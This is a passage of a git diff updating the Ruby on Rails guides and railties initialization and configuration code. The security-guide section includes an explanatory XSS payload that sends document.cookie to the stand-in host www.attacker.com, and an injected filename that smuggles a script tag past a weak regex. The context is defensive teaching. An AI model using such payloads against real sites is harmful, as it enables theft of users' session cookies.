inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+. -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. h4. Schema Dumps and Source Control @@ -669,12 +668,6 @@ h3. Active Record and Referential Integrity The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. - -Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints. -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung +Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. You could also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index dbe6f97f5c..2440927542 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -438,16 +438,16 @@ alias gcrails='~/rubygc/bin/rails' Don't forget to use your aliases from now on. -h6. Install Rubygems (1.8 only!) +h6. Install RubyGems (1.8 only!) -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. +Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. h4. Using Ruby-Prof on MRI and REE Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE: <ruby> -gem 'ruby-prof', :path => 'git://github.com/wycats/ruby-prof.git' +gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git' </ruby> Now run +bundle install+ and you're ready to go. @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index 188423861d..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -290,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun </shell> -Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. <ruby> # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -322,7 +322,7 @@ When you run +rake+ you should see the tests all pass: h4. Add an Instance Method -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' +This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: @@ -347,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", hickwall.last_squawk end - def test_wickwalls_squawk_should_populate_last_tweeted_at + def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet @@ -355,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase end </ruby> -Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'", +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: <ruby> @@ -386,6 +386,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle </ruby> Run +rake+ one final time and you should see: + <shell> 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips </shell> @@ -399,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm h3. Publishing your Gem -Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply -commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application: +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question: <ruby> -gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' +gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' </ruby> After running +bundle install+, your gem functionality will be available to the application. @@ -425,11 +426,12 @@ require 'yaffle' </ruby> You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method of to_squawk. +console we can check to see if the String has an instance method to_squawk: + <shell> $ cd my_app $ rails console -$ String.instance_methods.sort +$ "Rails plugins are easy!".to_squawk </shell> You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. @@ -443,9 +445,9 @@ The first step is to update the README file with detailed information about how * Your name * How to install * How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time +* Warnings, gotchas or tips that might help users and save them time -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api. Once your comments are good to go, navigate to your plugin directory and run: @@ -460,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 90fc763349..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -60,6 +60,18 @@ Please note that this will NOT install the gems for you and you will have to run bundle install </ruby> +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> + h4. add_source(source, options = {}) Adds the given source to the generated application's +Gemfile+. @@ -148,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. h4. generate(what, args) -Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails: +Runs the supplied rails generator with given arguments. <ruby> generate(:scaffold, "person", "name:string", "address:text", "age:number") @@ -176,12 +188,6 @@ You can also run rake tasks with a different Rails environment: rake "db:migrate", :env => 'production' </ruby> -Or even use sudo: - -<ruby> -rake "gems:install", :sudo => true -</ruby> - h4. route(routing_code) This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: @@ -232,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 8d5985dba8..d6cbd84b1f 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -89,23 +89,32 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: <ruby> +use ActionDispatch::Static use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} -use Rails::Rack::Metal -use ActionDispatch::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head +use ActiveSupport::Cache::Strategy::LocalCache +use Rack::Runtime +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::RemoteIp +use Rack::Sendfile +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache -run ActionController::Dispatcher.new +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use Rack::MethodOverride +use ActionDispatch::Head +use ActionDispatch::BestStandardsSupport +run Blog::Application.routes </ruby> Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. h4. Configuring Middleware Stack -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. h5. Adding a Middleware @@ -118,7 +127,7 @@ You can add a new middleware to the middleware stack using any of the following * <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. <ruby> -# config/environment.rb +# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon @@ -133,7 +142,7 @@ h5. Swapping a Middleware You can swap an existing middleware in the middleware stack using +config.middleware.swap+. <ruby> -# config/environment.rb +# config/application.rb # Replace ActionController::Failsafe with Lifo::Failsafe config.middleware.swap ActionController::Failsafe, Lifo::Failsafe @@ -157,8 +166,9 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol |+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.| |+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| |+ActiveRecord::QueryCache+|Enables the Active Record query cache.| -|+ActionController::Session::CookieStore+|Uses the cookie based session store.| -|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.| +|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.| +|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.| |+ActiveRecord::SessionStore+|Uses the database based session store.| |+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.| |+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| @@ -198,7 +208,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp <strong>Clear the existing Rails middleware stack</strong> <ruby> -# environment.rb +# config/application.rb config.middleware.clear </ruby> @@ -207,7 +217,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -223,8 +233,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 99dd9a1cd2..29c729592b 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -596,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -618,7 +620,7 @@ You can specify what Rails should route +"/"+ to with the +root+ method: root :to => 'pages#main' </ruby> -You should put the +root+ route at the end of the file. You also need to delete the +public/index.html+ file for the root route to take effect. +You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect. h3. Customizing Resourceful Routes @@ -881,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* February 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 5989191b5c..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -77,8 +77,3 @@ bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 1f6ff88c1f..c2ef7bf9b5 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -158,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i <ruby> class Session < ActiveRecord::Base def self.sweep(time = 1.hour) - time = time.split.inject { |count, unit| - count.to_i.send(unit) - } if time.is_a?(String) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end @@ -475,7 +474,7 @@ h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): @@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index cc55d1f756..5dbbe2c0f0 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -927,11 +927,11 @@ class UserControllerTest < ActionController::TestCase assert_difference 'ActionMailer::Base.deliveries.size', +1 do post :invite_friend, :email => 'friend@example.com' end - invite_email = ActionMailer::Base.deliveries.first + invite_email = ActionMailer::Base.deliveries.last assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] - assert_match /Hi friend@example.com/, invite_email.body + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -945,11 +945,3 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. * "RSpec":http://relishapp.com/rspec, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb index de412553aa..73bdd0b552 100644 --- a/railties/lib/rails.rb +++ b/railties/lib/rails.rb @@ -22,8 +22,10 @@ require 'action_dispatch/railtie' if RUBY_VERSION < '1.9' $KCODE='u' else - Encoding.default_external = Encoding::UTF_8 - Encoding.default_internal = Encoding::UTF_8 + silence_warnings do + Encoding.default_external = Encoding::UTF_8 + Encoding.default_internal = Encoding::UTF_8 + end end module Rails diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index fb60ddd9b5..2a62446a04 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -55,6 +55,11 @@ module Rails delegate :default_url_options, :default_url_options=, :to => :routes + def initialize + super + @initialized = false + end + # This method is called just after an application inherits from Rails::Application, # allowing the developer to load classes in lib and use them during application # configuration. @@ -78,7 +83,6 @@ module Rails require environment if environment end - def reload_routes! routes_reloader.reload! end @@ -87,9 +91,9 @@ module Rails @routes_reloader ||= RoutesReloader.new end - def initialize! + def initialize!(group=:default) raise "Application has been already initialized." if @initialized - run_initializers(self) + run_initializers(group, self) @initialized = true self end @@ -119,10 +123,34 @@ module Rails @env_config ||= super.merge({ "action_dispatch.parameter_filter" => config.filter_parameters, "action_dispatch.secret_token" => config.secret_token, - "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions + "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions, + "action_dispatch.logger" => Rails.logger, + "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner }) end + def ordered_railties + @ordered_railties ||= begin + order = config.railties_order.map do |railtie| + if railtie == :main_app + self + elsif railtie.respond_to?(:instance) + railtie.instance + else + railtie + end + end + + all = (railties.all - order) + all.push(self) unless all.include?(self) + order.push(:all) unless order.include?(:all) + + index = order.index(:all) + order[index] = all + order.reverse.flatten + end + end + def initializers Bootstrap.initializers_for(self) + super + @@ -137,6 +165,10 @@ module Rails self end + def helpers_paths + config.helpers_paths + end + protected alias :build_middleware_stack :app @@ -150,7 +182,7 @@ module Rails if config.force_ssl require "rack/ssl" - middleware.use ::Rack::SSL + middleware.use ::Rack::SSL, config.ssl_options end if config.serve_static_assets @@ -160,8 +192,9 @@ module Rails middleware.use ::Rack::Lock unless config.allow_concurrency middleware.use ::Rack::Runtime middleware.use ::Rack::MethodOverride - middleware.use ::Rails::Rack::Logger # must come after Rack::MethodOverride to properly log overridden methods - middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local + middleware.use ::ActionDispatch::RequestId + middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods + middleware.use ::ActionDispatch::ShowExceptions middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies if config.action_dispatch.x_sendfile_header.present? middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb index 9f21d273e6..c2cb121e42 100644 --- a/railties/lib/rails/application/bootstrap.rb +++ b/railties/lib/rails/application/bootstrap.rb @@ -7,29 +7,29 @@ module Rails module Bootstrap include Initializable - initializer :load_environment_hook do end + initializer :load_environment_hook, :group => :all do end - initializer :load_active_support do + initializer :load_active_support, :group => :all do require "active_support/all" unless config.active_support.bare end # Preload all frameworks specified by the Configuration#frameworks. # Used by Passenger to ensure everything's loaded before forking and # to avoid autoload race conditions in JRuby. - initializer :preload_frameworks do + initializer :preload_frameworks, :group => :all do ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks end # Initialize the logger early in the stack in case we need to log some deprecation. - initializer :initialize_logger do + initializer :initialize_logger, :group => :all do Rails.logger ||= config.logger || begin path = config.paths["log"].first - logger = ActiveSupport::BufferedLogger.new(path) + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(path)) logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase) logger.auto_flushing = false if Rails.env.production? logger - rescue StandardError => e - logger = ActiveSupport::BufferedLogger.new(STDERR) + rescue StandardError + logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(STDERR)) logger.level = ActiveSupport::BufferedLogger::WARN logger.warn( "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " + @@ -41,7 +41,7 @@ module Rails end # Initialize cache early in the stack so railties can make use of it. - initializer :initialize_cache do + initializer :initialize_cache, :group => :all do unless defined?(RAILS_CACHE) silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) } @@ -51,7 +51,7 @@ module Rails end end - initializer :set_clear_dependencies_hook do + initializer :set_clear_dependencies_hook, :group => :all do ActionDispatch::Reloader.to_cleanup do ActiveSupport::DescendantsTracker.clear ActiveSupport::Dependencies.clear @@ -60,11 +60,11 @@ module Rails # Sets the dependency loading mechanism. # TODO: Remove files from the $" and always use require. - initializer :initialize_dependency_mechanism do + initializer :initialize_dependency_mechanism, :group => :all do ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load end - initializer :bootstrap_hook do |app| + initializer :bootstrap_hook, :group => :all do |app| ActiveSupport.run_load_hooks(:before_initialize, app) end end diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb index 975e159999..e95b0f5495 100644 --- a/railties/lib/rails/application/configuration.rb +++ b/railties/lib/rails/application/configuration.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/string/encoding' +require 'active_support/core_ext/kernel/reporting' require 'rails/engine/configuration' module Rails @@ -6,12 +7,14 @@ module Rails class Configuration < ::Rails::Engine::Configuration attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :cache_classes, :cache_store, :consider_all_requests_local, - :dependency_loading, :encoding, :filter_parameters, - :force_ssl, :helpers_paths, :logger, :preload_frameworks, + :dependency_loading, :filter_parameters, + :force_ssl, :helpers_paths, :logger, :log_tags, :preload_frameworks, :reload_plugins, :secret_token, :serve_static_assets, - :static_cache_control, :session_options, :time_zone, :whiny_nils + :ssl_options, :static_cache_control, :session_options, + :time_zone, :whiny_nils, :railties_order attr_writer :log_level + attr_reader :encoding def initialize(*) super @@ -24,6 +27,7 @@ module Rails @serve_static_assets = true @static_cache_control = nil @force_ssl = false + @ssl_options = {} @session_store = :cookie_store @session_options = {} @time_zone = "UTC" @@ -31,16 +35,23 @@ module Rails @middleware = app_middleware @generators = app_generators @cache_store = [ :file_store, "#{root}/tmp/cache/" ] + @railties_order = [:all] @assets = ActiveSupport::OrderedOptions.new - @assets.enabled = false - @assets.paths = [] - @assets.precompile = [ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] - @assets.prefix = "/assets" - - @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] - @assets.js_compressor = nil - @assets.css_compressor = nil + @assets.enabled = false + @assets.paths = [] + @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, + /(?:\/|\\|\A)application\.(css|js)$/ ] + @assets.prefix = "/assets" + @assets.version = '' + @assets.debug = false + @assets.compile = true + @assets.digest = false + @assets.manifest = nil + @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/" ] + @assets.js_compressor = nil + @assets.css_compressor = nil + @assets.initialize_on_precompile = true end def compiled_asset_path @@ -50,8 +61,10 @@ module Rails def encoding=(value) @encoding = value if "ruby".encoding_aware? - Encoding.default_external = value - Encoding.default_internal = value + silence_warnings do + Encoding.default_external = value + Encoding.default_internal = value + end else $KCODE = value if $KCODE == "NONE" diff --git a/railties/lib/rails/application/finisher.rb 